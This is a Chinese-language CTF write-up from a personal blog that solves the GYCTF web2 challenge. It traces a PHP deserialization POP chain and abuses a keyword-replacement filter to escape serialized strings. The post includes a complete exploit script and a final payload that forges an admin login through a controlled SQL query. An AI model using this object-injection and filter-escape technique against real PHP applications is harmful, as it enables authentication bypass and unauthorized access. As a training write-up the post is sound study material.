Ricky's Blog


game-gyctf web2 逐步分析
2021-03-30

game-gyctf web2 逐步分析

题目入口

/www.zip 源码

然后主要是反序列化, 在 lib.php 里面, 出发口在 update.php 里面

$users->update();

从 User 的 update 方法跟进

$Info=unserialize($this->getNewinfo());

先会进入 getNewinfo 方法进行序列化和安全函数检测

return safe(serialize(new Info($age,$nickname)));

safe 方法

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

然后反序列化结束后进入 UpdateHepler 对象

$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);

然后这里通过 __destruct() 可以触发 __toString 函数

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}

__toString 函数在 User 对象中

public function __toString()
{
    $this->nickname->update($this->age);
    return "0-0";
}

nickname 可控, 调用类中不存在的函数触发 __call

__call 函数在 Info 对象中

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

CtrlCase 可控, 调用 dbCtrl 对象中的 login 函数, $argument[0] 传入的值为 age 的值, 所以 sql 查询语句可控, 然后伪造密码

select 1,'c4ca4238a0b923820dcc509a6f75849b' from user where username=?

在 sql 查询语句中会伪造出 id为1, password 为 c4ca4238a0b923820dcc509a6f75849b 的数据

20210331004425390

然后我们的用户名是 admin, POP链就形成了, 整理如下

index.php?action=update
↓↓↓
class User -> update()
↓↓↓
class UpdateHelper -> __destruct()
↓↓↓
class User -> __toString()
↓↓↓
class Info -> __call()
↓↓↓
class dbCtrl -> login()
↓↓↓
admin 伪造成功

建立 exp.php

<?php
class User {
    public $age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public $nickname;
    public function __construct($nickname) {
        $this->nickname = $nickname;
    }
}

class Info {
    public $CtrlCase;
    public function __construct($CtrlCase) {
        $this->CtrlCase = $CtrlCase;
    }
}

Class UpdateHelper{
    public $sql;
    public function __construct($sql) {
        $this->sql=$sql;
    }
}

class dbCtrl {
    public $name = 'admin';
    public $password = '1';
}

$a = new dbCtrl();
$b = new Info($a);
$c = new User($b);
$d = new UpdateHelper($c);

for($i = 0; $i < 263; $i++){
    $char .= 'union';
}

echo $char . '";s:8:"CtrlCase";' . serialize($d) . '}';

本地调试直接通过 age 或者 nickname 传入会发现整个一长串会被当作 nickname 的字符串, 最后无法逃逸出来成为对象使得 $Info 为 false, 所以我们需要通过反序列化逃逸, union 每次逃逸一个字符比较好数所以采用 union 逃逸, 逃逸的字符串如下

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

一共 263 个字符, 经过转义以后最终是 1578 个字符, 这里有两个易错点

易错点1

s:8:"CtrlCase" 赋值是 O: 的对象, 不用重复赋值

易错点2

sql 查询语句里面需要使用双引号不然无法通过

最终 payload

unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

/index.php?action=update post传入 agenickname 即可 ( nickname 传入反序列化)

输入成功后 admin 作为用户登录账号 (密码随意) 即可获得 flag

其实所有方法做下来我们的目的就是拿到 admin 的token

$_SESSION['token']=$this->name;

也就是为什么登录需要用户名为 admin 的原因

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部